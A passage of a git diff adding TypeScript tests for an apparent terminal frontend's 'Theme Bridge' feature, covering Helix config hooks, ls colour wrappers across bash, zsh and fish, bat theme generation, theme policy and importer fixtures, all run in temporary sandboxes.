theme is never replaced', async () => { + const box = sandbox(); + try { + await applyThemeBridge(ctx(config({mode: 'follow'}), box.env)); + const configPath = join(helixConfigDirectory(box.env), 'config.toml'); + const user = '# my helix\n[editor]\nline-number = "relative"\n\n[keys.normal]\nC-s = ":w"\n'; + writeFileSync(configPath, user); + const spec = hookSpec('helix', box.env, box.home); + assert.ok(!('error' in spec)); + assert.deepEqual(spec.lines, ['# NMSh Theme Bridge: selects the NMSh-managed theme (remove with /theme-bridge)', 'theme = "nmsh-bridge"']); + const planned = planHook(spec, box.home); + assert.ok('plan' in planned); + assert.equal(readFileSync(configPath, 'utf8'), user, 'planning alone changes nothing'); + assert.ok(applyHook('helix', planned.plan, spec, box.env).ok); + const after = readFileSync(configPath, 'utf8'); + assert.equal((parseToml(after) as {theme: string}).theme, 'nmsh-bridge', 'a valid top-level assignment'); + assert.deepEqual({...(parseToml(after) as {editor: object}).editor}, {'line-number': 'relative'}, 'user settings untouched'); + assert.equal(reportTargets(ctx(config({mode: 'follow'}), box.env)).find(item => item.target === 'helix')!.readiness, 'Active'); + const removal = planHookRemoval('helix', box.home, box.env); + assert.ok('plan' in removal); + assert.ok(applyHookRemoval('helix', removal.plan, box.env).ok); + assert.equal(readFileSync(configPath, 'utf8'), user, 'exactly restored'); + assert.equal(loadLedger(box.env).entries.helix?.hook, undefined); + writeFileSync(configPath, 'theme = "catppuccin_mocha"\n'); + const refused = hookSpec('helix', box.env, box.home); + assert.ok('error' in refused && /already selects a theme/u.test(refused.error)); + assert.match(reportTargets(ctx(config({mode: 'follow'}), box.env)).find(item => item.target === 'helix')!.notes.join(' '), /Configured independently: .*catppuccin_mocha/u); + assert.equal(readFileSync(configPath, 'utf8'), 'theme = "catppuccin_mocha"\n'); + rmSync(configPath); + const fresh = hookSpec('helix', box.env, box.home); + assert.ok(!('error' in fresh) && fresh.createIfMissing, 'a missing config is created with only the assignment, after confirmation'); + await applyThemeBridge(ctx(config({mode: 'independent'}), box.env)); + assert.equal(existsSync(artifactPath('helix', box.env)), false, 'Independent removes only the owned generated theme'); + } finally { box.done(); } +}); + +void ({} as BridgeTargetId); diff --git a/tests/themeBridgeListing.test.ts b/tests/themeBridgeListing.test.ts new file mode 100644 index 00000000..2fb05a64 --- /dev/null +++ b/tests/themeBridgeListing.test.ts @@ -0,0 +1,102 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {chmodSync, existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {bridgeBootstrap, renderEnvironmentFile, type BridgeEnvironment, type ListingWrapper} from '../src/themeBridge/environment.js'; + +/** + * File listing color wrappers through real shells: the generated bootstrap + * parses (also when ls is already an alias, as in Ubuntu's default bashrc, + * which once broke Bash's `ls()` form), wraps only real executables, never + * replaces the user's alias or function, keeps --color=auto before the + * user's argv, and Off removes only NMSh's wrapper. + */ + +const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] + .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); +const zsh = ['/bin/zsh', '/usr/bin/zsh', '/opt/homebrew/bin/zsh'].find(existsSync); +const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); +const shells = {bash, zsh, fish} as const; + +function box(withGls: boolean) { + const root = mkdtempSync(join(tmpdir(), 'nmsh-listing-')); + const bin = join(root, 'bin'); + mkdirSync(bin); + for (const name of withGls ? ['ls', 'gls'] : ['ls']) { + writeFileSync(join(bin, name), '#!/bin/sh\necho "ARGS:$*"\n'); + chmodSync(join(bin, name), 0o755); + } + return {root, bin, done: () => rmSync(root, {recursive: true, force: true})}; +} + +const values = (listing: ListingWrapper[]): BridgeEnvironment => ({LS_COLORS: 'di=34', ...(listing.length ? {listing} : {})}); + +/** Runs a script that loads the bootstrap, syncs listing On, runs probes, switches Off, runs probes again. */ +function run(shell: keyof typeof shells, listing: ListingWrapper[], options: {withGls?: boolean; userSetup?: string} = {}) { + const sandbox = box(options.withGls ?? true); + try { + const live = join(sandbox.root, 'env'); + const on = join(sandbox.root, 'on'); + const off = join(sandbox.root, 'off'); + writeFileSync(on, renderEnvironmentFile(shell, values(listing))); + writeFileSync(off, renderEnvironmentFile(shell, values([]))); + const probe = shell === 'fish' + ? 'echo "ls=$(ls --color=never a)"; echo "gls=$(gls b 2>/dev/null; or echo NONE)"; keep' + : 'echo "ls=$(ls --color=never a)"; echo "gls=$(gls b 2>/dev/null || echo NONE)"; keep'; + const keep = shell === 'fish' ? 'function keep; echo KEPT; end' : 'keep() { echo KEPT; }'; + const script = [shell === 'bash' ? 'shopt -s expand_aliases' : '', options.userSetup ?? '', keep, bridgeBootstrap(shell, live), + `cp '${on}' '${live}'`, 'nmsh_bridge_sync', 'echo ---on', probe, `cp '${off}' '${live}'`, 'nmsh_bridge_sync', 'echo ---off', probe].join('\n'); + const file = join(sandbox.root, 'script'); + writeFileSync(file, script); + const result = spawnSync(shells[shell]!, shell === 'zsh' ? ['-f', file] : shell === 'bash' ? ['--norc', '--noprofile', file] : ['--no-config', file], + {encoding: 'utf8', env: {PATH: `${sandbox.bin}:/usr/bin:/bin`, HOME: sandbox.root}}); + const [, onPart = '', offPart = ''] = result.stdout.split(/---(?:on|off)\n/u); + return {status: result.status, stderr: result.stderr, on: onPart.trim(), off: offPart.trim(), script}; + } finally { sandbox.done(); } +} + +test('bash: every listing variant of the generated bootstrap and environment file parses (bash -n), also with ls/gls aliased', {skip: !bash && 'bash 4.4+ not installed'}, () => { + const root = mkdtempSync(join(tmpdir(), 'nmsh-listing-parse-')); + try { + for (const listing of [[], ['ls'], ['gls'], ['ls', 'gls']] as ListingWrapper[][]) { + const file = join(root, `env-${listing.join('-') || 'none'}`); + writeFileSync(file, `${bridgeBootstrap('bash', file)}\n${renderEnvironmentFile('bash', values(listing))}`); + const parsed = spawnSync(bash!, ['-n', file], {encoding: 'utf8'}); + assert.equal(parsed.status, 0, `${listing.join(',')}: ${parsed.stderr}`); + // bash -n alone missed the real bug: Bash alias-expands `ls()` while parsing when ls is an alias. + const sourced = spawnSync(bash!, ['--norc', '-c', `shopt -s expand_aliases\nalias ls='ls --color=auto'\nalias gls='gls -F'\nsource '${file}' && echo SOURCED`], {encoding: 'utf8'}); + assert.match(sourced.stdout, /SOURCED/u, `${listing.join(',')}: ${sourced.stderr}`); + } + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +for (const shell of ['bash', 'zsh', 'fish'] as const) { + test(`${shell}: listing wrappers put --color=auto before the user's argv; Off removes only NMSh's wrapper; unrelated functions survive`, {skip: !shells[shell] && `${shell} not installed`}, () => { + const result = run(shell, ['ls', 'gls']); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stderr, ''); + assert.equal(result.on, 'ls=ARGS:--color=auto --color=never a\ngls=ARGS:--color=auto b\nKEPT', 'explicit --color=never comes later and wins'); + // Fish ships its own ls function (already --color=auto); NMSh never replaces an existing function, so only gls changes there. + assert.equal(result.off, `ls=ARGS:${shell === 'fish' ? '--color=auto ' : ''}--color=never a\ngls=ARGS:b\nKEPT`); + }); + + test(`${shell}: an existing alias or function is never replaced; a missing executable is never wrapped`, {skip: !shells[shell] && `${shell} not installed`}, () => { + const setup = shell === 'fish' ? 'function gls; echo USERGLS; end' : `alias ls='ls -F'\ngls() { echo USERGLS; }`; + const own = run(shell, ['ls', 'gls'], {userSetup: setup}); + assert.equal(own.status, 0, own.stderr); + assert.equal(own.stderr, ''); + assert.match(own.on, /^gls=USERGLS$/mu, 'the user function stays'); + assert.match(own.off, /^gls=USERGLS$/mu, 'Off does not remove what NMSh did not create'); + if (shell !== 'fish') { + assert.match(own.on, /^ls=ARGS:-F --color=never a$/mu, 'the user alias stays'); + assert.match(own.off, /^ls=ARGS:-F --color=never a$/mu); + } + const missing = run(shell, ['ls', 'gls'], {withGls: false}); + assert.equal(missing.status, 0, missing.stderr); + assert.match(missing.on, /^gls=NONE$/mu, 'no wrapper for an executable that is not installed'); + const lsOnly = run(shell, ['ls']); + assert.match(lsOnly.on, /^ls=ARGS:--color=auto --color=never a\ngls=ARGS:b$/mu, 'only the enabled wrapper exists'); + }); +} diff --git a/tests/themeBridgeLive.test.ts b/tests/themeBridgeLive.test.ts new file mode 100644 index 00000000..e6b25e7e --- /dev/null +++ b/tests/themeBridgeLive.test.ts @@ -0,0 +1,56 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, readdirSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {spawnSync} from 'node:child_process'; +import {LiveSandbox, until} from './helpers/liveFrontend.js'; + +/** + * End to end through a real NMSh frontend and real shells: Prompt None + * runs commands with composer-only presentation and promptless history, and + * Theme Bridge environment values reach the managed shell through the + * adapter-owned prompt hook, without any rc file being created or edited. + */ + +const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] + .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); +const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); + +for (const shell of ['zsh', 'bash', 'fish'] as const) { + const available = shell === 'zsh' || (shell === 'bash' ? bash : fish); + test(`live ${shell}: Prompt None executes normally; Theme Bridge pager values reach the shell; no rc file is touched`, {skip: available ? false : `${shell} not installed`, timeout: 90_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell, themeBridge: {enabled: true, targets: {pager: {mode: 'follow'}}}}, + shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + try { + const frontend = sandbox.launch(); + await frontend.waitFor(/Vespyr|notMyShell|zsh|bash|fish/u); + const envFile = join(sandbox.config, 'nmsh', 'theme-bridge', `environment.${shell}`); + await until(() => existsSync(envFile), 20_000, 'the Theme Bridge environment file'); + await frontend.run('true', /true/u); + const command = shell === 'fish' ? `printf 'gs=%s\\n' "$GROFF_NO_SGR"` : `printf 'gs=%s\\n' "\${GROFF_NO_SGR-unset}"`; + await frontend.run(command, /gs=1/u); + const records = (await sandbox.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command); + assert.ok(records.length > 0); + assert.equal(records[0]!.historicalContext?.prompt, undefined, 'Prompt None stores no prompt snapshot'); + assert.equal(records[0]!.historicalContext?.promptless, true); + const home = readdirSync(sandbox.home).filter(name => /^\.(?:zshrc|zshenv|zprofile|bashrc|bash_profile|profile|vimrc|tmux\.conf)$/u.test(name)); + assert.deepEqual(home, [], 'no shell rc or tool config was created'); + assert.equal(existsSync(join(sandbox.home, '.config', 'fish', 'config.fish')), false); + } finally { await sandbox.dispose(); } + }); +} + +test('live bash: with ls aliased in ~/.bashrc (as Ubuntu ships it) and File listing colors on, the managed shell parses its bootstrap and becomes ready', + {skip: bash ? false : 'bash not installed', timeout: 90_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'bash', themeBridge: {enabled: true, targets: {lsColors: {mode: 'follow'}}}}, + {PATH: `${bash!.replace(/\/bash$/u, '')}:${process.env.PATH}`}); + try { + writeFileSync(join(sandbox.home, '.bashrc'), "alias ls='ls -F'\nalias gls='gls -F'\n"); + const frontend = sandbox.launch(); + const envFile = join(sandbox.config, 'nmsh', 'theme-bridge', 'environment.bash'); + await until(() => existsSync(envFile), 20_000, 'the Theme Bridge environment file'); + await frontend.run('echo BASH-READY', /BASH-READY/u); + await frontend.run('echo "lc=${LS_COLORS:+set}"', /lc=set/u); + assert.doesNotMatch(frontend.output, /syntax error/u); + } finally { await sandbox.dispose(); } + }); diff --git a/tests/themeBridgePolicy.test.ts b/tests/themeBridgePolicy.test.ts new file mode 100644 index 00000000..626496b3 --- /dev/null +++ b/tests/themeBridgePolicy.test.ts @@ -0,0 +1,154 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {XMLValidator} from 'fast-xml-parser'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, type PromptConfiguration} from '../src/prompt/configuration.js'; +import {addTheme, deleteTheme, duplicateCurrentToCustom, setActiveTheme} from '../src/appearance/themeLibraryActions.js'; +import {assetRef, builtinTheme} from '../src/appearance/themeRefs.js'; +import {paletteFromTheme} from '../src/appearance/semanticPalette.js'; +import {categoryOf} from '../src/appearance/themeLibrary.js'; +import {BRIDGE_TARGETS, effectiveMode, effectiveSetting, normalizeThemeBridge, targetEditable, type BridgeTargetId} from '../src/themeBridge/model.js'; +import {batTheme, bsdLsColors, validateBatTheme, validBsdLsColors} from '../src/themeBridge/targets.js'; +import {artifactPath, batConfigDirectory, loadLedger} from '../src/themeBridge/artifacts.js'; +import {applyThemeBridge, batReady, bridgeEnvironment, integrationHealth, reportTargets, setupBat, type BridgeContext, type TargetFacts} from '../src/themeBridge/runtime.js'; +import {createThemeStudio, studioKey} from '../src/appearance/ThemeStudio.js'; +import {createSetup, sectionIndex, setupKey} from '../src/setup/SetupCat.js'; + +const base = (): PromptConfiguration => structuredClone(DEFAULT_PROMPT_CONFIGURATION); +const facts = (extra: Partial> = {}) => + ({...Object.fromEntries(BRIDGE_TARGETS.map(target => [target, {installed: true}])), ...extra}) as Record; +const ctx = (source: PromptConfiguration, env: NodeJS.ProcessEnv, f = facts()): BridgeContext => ({source, facts: f, level: 'truecolor', env}); +function sandbox() { + const root = mkdtempSync(join(tmpdir(), 'nmsh-policy-')); + const home = join(root, 'home'); + mkdirSync(home); + return {root, home, env: {HOME: home, XDG_CONFIG_HOME: join(home, '.config'), PATH: process.env.PATH} as NodeJS.ProcessEnv, done: () => rmSync(root, {recursive: true, force: true})}; +} + +test('policy: Off preserves Manual state; Follow and Choose apply to supported targets only; Manual comes back exactly', () => { + const manual = {fzf: {mode: 'choose' as const, theme: 'builtin:nord'}, tmux: {mode: 'follow' as const}, delta: {mode: 'follow' as const}}; + const off = normalizeThemeBridge({enabled: false, targets: manual}); + assert.ok(BRIDGE_TARGETS.every(target => effectiveMode(off, target) === 'independent')); + assert.equal(off.targets.fzf.theme, 'builtin:nord', 'kept while Off'); + const follow = normalizeThemeBridge({enabled: true, policy: 'follow', targets: manual}); + assert.equal(effectiveMode(follow, 'pager'), 'follow'); + assert.equal(effectiveMode(follow, 'fzf'), 'follow'); + assert.equal(effectiveMode(follow, 'delta'), 'independent', 'delta never inherits'); + assert.equal(targetEditable(follow, 'tmux'), false); + const choose = normalizeThemeBridge({enabled: true, policy: 'choose', theme: 'builtin:gruvboxDark', targets: manual}); + assert.deepEqual(effectiveSetting(choose, 'vim'), {mode: 'choose', theme: 'builtin:gruvboxDark'}); + const back = normalizeThemeBridge({...choose, policy: 'manual'}); + assert.deepEqual(back.targets.fzf, {mode: 'choose', theme: 'builtin:nord'}); + assert.deepEqual(effectiveSetting(back, 'tmux'), {mode: 'follow'}); + assert.equal(targetEditable(back, 'tmux'), true); + // Migration from the earlier model: enabled + targets read as Manual; Choose without a theme reads as Manual. + assert.equal(normalizeThemeBridge({enabled: true, targets: manual}).policy, 'manual'); + assert.equal(normalizeThemeBridge({enabled: true, policy: 'choose'}).policy, 'manual'); +}); + +test('global Follow tracks the active theme; global Choose stays pinned; deleting the global pin returns to Manual', () => { + let config = normalizePromptConfiguration({...base(), themeBridge: {enabled: true, policy: 'follow', targets: {}}}); + const env = {PATH: ''}; + const before = reportTargets(ctx(config, env)).find(report => report.target === 'tmux')!; + config = (setActiveTheme(config, 'builtin:nord') as {config: PromptConfiguration}).config; + const after = reportTargets(ctx(config, env)).find(report => report.target === 'tmux')!; + assert.equal(before.themeLabel, 'Lavender Native'); + assert.equal(after.themeLabel, 'Nord'); + assert.equal(after.inherited, true); + const added = addTheme(config, {...builtinTheme('dracula'), name: 'Mine'}); + assert.ok(added.ok); + config = {...added.config, themeBridge: {...added.config.themeBridge, policy: 'choose', theme: assetRef(added.id!)}}; + config = (setActiveTheme(config, 'builtin:solarizedDark') as {config: PromptConfiguration}).config; + assert.equal(reportTargets(ctx(config, env)).find(report => report.target === 'vim')!.themeLabel, 'Mine'); + assert.equal(deleteTheme(config, added.id!).ok, false, 'a global pin blocks deletion until confirmed'); + const deleted = deleteTheme(config, added.id!, true); + assert.ok(deleted.ok); + assert.equal(deleted.config.themeBridge.policy, 'manual'); + assert.equal(deleted.config.themeBridge.theme, undefined); +}); + +test('file listing colors: GNU ls/gls get LS_COLORS and session-only wrappers; macOS/BSD ls gets CLICOLOR and LSCOLORS', () => { + const config = normalizePromptConfiguration({...base(), themeBridge: {enabled: true, targets: {lsColors: {mode: 'follow'}}}}); + const env = {PATH: ''}; + const gnu = bridgeEnvironment(ctx(config, env, facts({lsColors: {installed: true, listing: {ls: 'gnu', gls: false}}}))); + assert.ok(gnu.LS_COLORS); + assert.deepEqual(gnu.listing, ['ls']); + assert.equal(gnu.LSCOLORS, undefined); + const mac = bridgeEnvironment(ctx(config, env, facts({lsColors: {installed: true, listing: {ls: 'bsd', gls: true}}}))); + assert.equal(mac.CLICOLOR, '1'); + assert.ok(validBsdLsColors(mac.LSCOLORS!)); + assert.deepEqual(mac.listing, ['gls'], 'Homebrew gls is GNU and gets its own wrapper'); + assert.ok(mac.LS_COLORS); + assert.equal(bsdLsColors(paletteFromTheme(builtinTheme('nord'), 'x')).length, 24, 'twelve fg/bg pairs'); + const report = reportTargets(ctx(config, env, facts({lsColors: {installed: true, listing: {ls: 'bsd', gls: true}}}))).find(item => item.target === 'lsColors')!; + assert.equal(report.label, 'File listing colors'); + assert.match(report.backend!, /macOS\/BSD ls · CLICOLOR, LSCOLORS \+ GNU gls · LS_COLORS/u); + const independent = bridgeEnvironment(ctx(normalizePromptConfiguration({}), env, facts({lsColors: {installed: true, listing: {ls: 'bsd'}}}))); + assert.deepEqual(independent, {}, 'Independent injects nothing'); +}); + +test('bat: deterministic data-only tmTheme from any theme; setup only on request; BAT_THEME only when the cache lists it', async () => { + for (const theme of [builtinTheme('nord'), builtinTheme('solarizedLight'), {...builtinTheme('dracula'), name: 'Imported & "name"'}]) { + const xml = batTheme(paletteFromTheme(theme, 'x')); + assert.equal(xml, batTheme(paletteFromTheme(theme, 'x'))); + assert.equal(XMLValidator.validate(xml), true); + assert.ok(validateBatTheme(xml, text => text)); + for (const scope of ['comment', 'string', 'constant.numeric', 'entity.name.function', 'keyword', 'entity.name.type', 'entity.name.tag', 'invalid', 'markup.inserted', 'markup.deleted']) assert.match(xml, new RegExp(scope.replace('.', '\\.'), 'u')); + } + const box = sandbox(); + try { + const config = normalizePromptConfiguration({...base(), themeBridge: {enabled: true, targets: {bat: {mode: 'follow'}}}}); + await applyThemeBridge(ctx(config, box.env, facts({bat: {installed: true}}))); + assert.equal(existsSync(artifactPath('bat', box.env)), false, 'no bat file until the user asks for setup'); + assert.equal(bridgeEnvironment(ctx(config, box.env)).BAT_THEME, undefined); + assert.equal(integrationHealth(ctx(config, box.env)).find(item => item.target === 'bat')!.state, 'needs-setup'); + mkdirSync(join(batConfigDirectory(box.env), 'themes'), {recursive: true}); + writeFileSync(artifactPath('bat', box.env), 'mine'); + const refused = await setupBat(paletteFromTheme(builtinTheme('nord'), 'builtin:nord'), 'follow', 'builtin:nord', {...box.env, PATH: ''}); + assert.equal(refused.ok, false); + assert.equal(readFileSync(artifactPath('bat', box.env), 'utf8'), 'mine', 'an unowned same-name file is never overwritten'); + rmSync(artifactPath('bat', box.env)); + const bat = ['/opt/homebrew/bin/bat', '/usr/local/bin/bat', '/usr/bin/bat', '/usr/bin/batcat'].find(existsSync); + if (!bat || bat.endsWith('batcat')) return; + const env = {...box.env, BAT_CONFIG_DIR: batConfigDirectory(box.env), BAT_CACHE_PATH: join(box.root, 'bat-cache')}; + const result = await setupBat(paletteFromTheme(builtinTheme('nord'), 'builtin:nord'), 'follow', 'builtin:nord', env); + assert.ok(result.ok, result.message); + assert.ok(batReady(env)); + assert.equal(loadLedger(env).entries.bat?.cacheApproved, true); + assert.equal(bridgeEnvironment(ctx(config, env)).BAT_THEME, 'nmsh-bridge'); + assert.equal(existsSync(join(batConfigDirectory(box.env), 'config')), false, "bat's own config file is never written"); + } finally { box.done(); } +}); + +test('Duplicate current → Custom: any source, provenance dropped, " - Custom", active theme unchanged', () => { + let config = addTheme(base(), {...builtinTheme('nord'), name: 'Ghostty Mocha'}, {kind: 'ghostty', sourcePath: '/x'}, true); + assert.ok(config.ok); + const before = config.config.nmsh.themeId; + const copy = duplicateCurrentToCustom(config.config); + assert.ok(copy.ok); + const asset = copy.config.themes.find(item => item.id === copy.id)!; + assert.equal(asset.theme.name, 'Ghostty Mocha - Custom'); + assert.equal(categoryOf(asset), 'custom'); + assert.equal(copy.config.nmsh.themeId, before, 'the current theme stays active'); + const builtin = duplicateCurrentToCustom(normalizePromptConfiguration({nmsh: {palette: 'gruvboxDark'}})); + assert.ok(builtin.ok && builtin.config.themes[0]!.theme.name === 'Gruvbox Dark - Custom'); + const again = duplicateCurrentToCustom(builtin.config); + assert.ok(again.ok && again.config.themes[1]!.theme.name === 'Gruvbox Dark - Custom 2', 'deterministic unique naming'); + void config; +}); + +test('preview Chroma switches are local: Theme Studio and Setup toggle only their preview', () => { + const context = {themes: [], accent: 'mauve' as const, pinnedTo: () => [], chroma: 'Aurora · wave'}; + const studio = createThemeStudio(context); + assert.equal(studio.previewChroma, false, 'Off by default'); + studioKey(studio, {kind: 'text', value: 'c'}, 'truecolor', '/', context); + assert.equal(studio.previewChroma, true); + const config = normalizePromptConfiguration({presentation: {preset: 'aurora'}}); + const setup = createSetup(config); + setup.section = sectionIndex('appearance'); + setupKey(setup, {kind: 'text', value: 'p'}); + assert.equal(setup.previewChroma, true); + assert.equal(setup.draft.presentation.preset, 'aurora', 'the draft (and saved) Chroma is unchanged'); +}); diff --git a/tests/themeFamilies.test.ts b/tests/themeFamilies.test.ts index 54201b31..270e9ad8 100644 --- a/tests/themeFamilies.test.ts +++ b/tests/themeFamilies.test.ts @@ -12,7 +12,7 @@ import { } from '../src/appearance/customTheme.js'; import {cloneFromPalette, familyOf, selectFamily, variantOptions} from '../src/appearance/themeSelection.js'; import {applyUiTheme, defaultUiColors, uiColorsFor, uiThemeInput} from '../src/appearance/uiTheme.js'; -import {createThemeStudio, readThemeImport, renderThemeStudio, studioKey, STUDIO_ROWS, themeDefaults, writeThemeExport} from '../src/appearance/ThemeStudio.js'; +import {createThemeEditor, createThemeStudio, editorKey, readThemeImport, renderThemeStudio, studioKey, STUDIO_ROWS, themeDefaults, writeThemeExport} from '../src/appearance/ThemeStudio.js'; import { DEFAULT_PROMPT_CONFIGURATION, NATIVE_PALETTE_IDS, normalizePromptConfiguration, THEME_PALETTE_IDS, THIRD_PARTY_PALETTE_IDS, } from '../src/prompt/configuration.js'; @@ -194,36 +194,37 @@ test('custom themes compose with Chroma and render through the real prompt rende test('Theme Studio: edits through the picker, imports with preview, exports NMSh Theme JSON', async () => { const directory = await mkdtemp(join(tmpdir(), 'nmsh-studio-')); try { - const state = createThemeStudio(undefined, 'nord'); - assert.equal(state.draft.prompt.project, '#88c0d0'); - const role = STUDIO_ROWS.findIndex(row => row.kind === 'role' && row.role === 'project'); - state.selected = role; - studioKey(state, {kind: 'enter'}, 'truecolor', directory); - assert.ok(state.picker); - studioKey(state, {kind: 'text', value: '#'}, 'truecolor', directory); - for (const character of 'ff8800') studioKey(state, {kind: 'text', value: character}, 'truecolor', directory); - studioKey(state, {kind: 'enter'}, 'truecolor', directory); - assert.equal(state.picker, undefined); - assert.equal(state.draft.prompt.project, '#ff8800'); - const exported = writeThemeExport(state.draft, join(directory, 'themes')); + const editor = createThemeEditor(undefined, 'nord'); + assert.equal(editor.draft.prompt.project, '#88c0d0'); + editor.selected = STUDIO_ROWS.findIndex(row => row.kind === 'role' && row.role === 'project'); + editorKey(editor, {kind: 'enter'}, 'truecolor'); + assert.ok(editor.picker); + editorKey(editor, {kind: 'text', value: '#'}, 'truecolor'); + for (const character of 'ff8800') editorKey(editor, {kind: 'text', value: character}, 'truecolor'); + editorKey(editor, {kind: 'enter'}, 'truecolor'); + assert.equal(editor.picker, undefined); + assert.equal(editor.draft.prompt.project, '#ff8800'); + const exported = writeThemeExport(editor.draft, join(directory, 'themes')); assert.match(exported, /my-nord\.nmsh-theme\.json$/u); const preview = readThemeImport(exported, directory); assert.ok(!('errors' in preview) && preview.theme.prompt.project === '#ff8800'); await writeFile(join(directory, 'bad.json'), '{"schema":"nmsh-theme","version":1,"name":"x","prompt":{},"ui":{}}'); const bad = readThemeImport('bad.json', directory); assert.ok('errors' in bad && bad.errors.some(error => /prompt\.project/u.test(error))); - state.selected = STUDIO_ROWS.findIndex(row => row.kind === 'import'); - studioKey(state, {kind: 'enter'}, 'truecolor', directory); - for (const character of exported) studioKey(state, {kind: 'text', value: character}, 'truecolor', directory); - studioKey(state, {kind: 'enter'}, 'truecolor', directory); - assert.ok(state.importPreview, 'import shows a preview before use'); - assert.match(plain(renderThemeStudio(state, 90, 30, 'truecolor', [])), /Import preview · My Nord/u); - studioKey(state, {kind: 'enter'}, 'truecolor', directory); - state.selected = STUDIO_ROWS.findIndex(row => row.kind === 'save'); - const saved = studioKey(state, {kind: 'enter'}, 'truecolor', directory); - assert.equal(saved?.kind, 'save'); + // The Import tab parses and previews first; Enter returns the save action, Esc stores nothing. + const context = {themes: [], accent: 'mauve' as const, pinnedTo: () => []}; + const studio = createThemeStudio(context, 'import'); + for (const character of exported) studioKey(studio, {kind: 'text', value: character}, 'truecolor', directory, context); + studioKey(studio, {kind: 'enter'}, 'truecolor', directory, context); + assert.ok(studio.importPreview, 'import shows a preview before use'); + assert.match(plain(renderThemeStudio(studio, context, 90, 30, 'truecolor', [])), /Import preview · My Nord/u); + const action = studioKey(studio, {kind: 'enter'}, 'truecolor', directory, context); + assert.equal(action?.kind, 'importTheme'); + assert.equal(action?.kind === 'importTheme' && action.origin.kind, 'nmsh'); + editor.selected = STUDIO_ROWS.findIndex(row => row.kind === 'save'); + assert.equal(editorKey(editor, {kind: 'enter'}, 'truecolor')?.kind, 'save'); assert.equal(JSON.parse(await readFile(exported, 'utf8')).schema, 'nmsh-theme'); - for (const width of [56, 90]) assert.ok(renderThemeStudio(createThemeStudio(undefined, 'nord'), width, 20, 'truecolor', []).every(row => displayWidth(row) <= width)); + for (const width of [56, 90]) assert.ok(renderThemeStudio(createThemeStudio(context), context, width, 20, 'truecolor', []).every(row => displayWidth(row) <= width)); } finally { await rm(directory, {recursive: true, force: true}); } }); diff --git a/tests/themeImporters.test.ts b/tests/themeImporters.test.ts new file mode 100644 index 00000000..fed80fce --- /dev/null +++ b/tests/themeImporters.test.ts @@ -0,0 +1,163 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {importThemeSource, IMPORT_SIZE_LIMIT, WEZTERM_LUA_GUIDANCE, type ImportOutcome, type ImportPreview} from '../src/appearance/themeImporters.js'; +import {builtinTheme} from '../src/appearance/themeRefs.js'; +import {themeDefaults} from '../src/appearance/ThemeStudio.js'; +import {validateTheme} from '../src/appearance/customTheme.js'; + +/** + * Importer fixtures. Every format is data only: these fixtures include + * template syntax, include directives, entities and Lua, and the tests prove + * none of it is followed, executed or turned into an invented color. + */ + +const DARK16 = ['#1e1e2e', '#f38ba8', '#a6e3a1', '#f9e2af', '#89b4fa', '#cba6f7', '#94e2d5', '#bac2de', + '#585b70', '#f37799', '#89d88b', '#ebd391', '#74a8fc', '#f2aede', '#6bd7ca', '#a6adc8']; +const LIGHT16 = ['#5c5f77', '#d20f39', '#40a02b', '#df8e1d', '#1e66f5', '#ea76cb', '#179299', '#acb0be', + '#6c6f85', '#de293e', '#49af3d', '#eea02d', '#456eff', '#fe85d8', '#2d9fa8', '#bcc0cc']; + +const run = (text: string, file: string, format: Parameters[4] = 'auto') => + importThemeSource(text, file, themeDefaults(), builtinTheme('lavender'), format); +const preview = (outcome: ImportOutcome): ImportPreview => { assert.ok(!('errors' in outcome), JSON.stringify(outcome)); return outcome as ImportPreview; }; +const errors = (outcome: ImportOutcome): string => { assert.ok('errors' in outcome, 'expected an error'); return (outcome as {errors: string[]}).errors.join(' '); }; +const valid = (result: ImportPreview) => assert.ok(validateTheme(result.theme).ok, 'generated roles validate as an NMSh theme'); + +const kitty = (colors: string[], extra = '') => `## name: Kitty\u0007 Mocha\n${extra}foreground #cdd6f4\nbackground ${colors[0]}\nselection_background #585b70\ncursor #f5e0dc\n${colors.map((hex, index) => `color${index} ${hex}`).join('\n')}\n`; +const ghostty = (colors: string[], extra = '') => `${extra}background = ${colors[0]!.slice(1)}\nforeground = cdd6f4\nselection-background = 585b70\n${colors.map((hex, index) => `palette = ${index}=${hex}`).join('\n')}\n`; +const plistColor = (hex: string) => { + const [r, g, b] = [1, 3, 5].map(index => (parseInt(hex.slice(index, index + 2), 16) / 255).toFixed(6)); + return `Color SpacesRGBRed Component${r}Green Component${g}Blue Component${b}`; +}; +const iterm = (colors: string[], head = '\n') => + `${head}\n${colors.map((hex, index) => `Ansi ${index} Color${plistColor(hex)}`).join('')}Background Color${plistColor(colors[0]!)}Foreground Color${plistColor('#cdd6f4')}Selection Color${plistColor('#585b70')}Badge Color${plistColor('#ff0000')}`; +const wezterm = (colors: string[], extra = '') => `[metadata]\nname = "Wez Mocha"\n\n[colors]\nforeground = 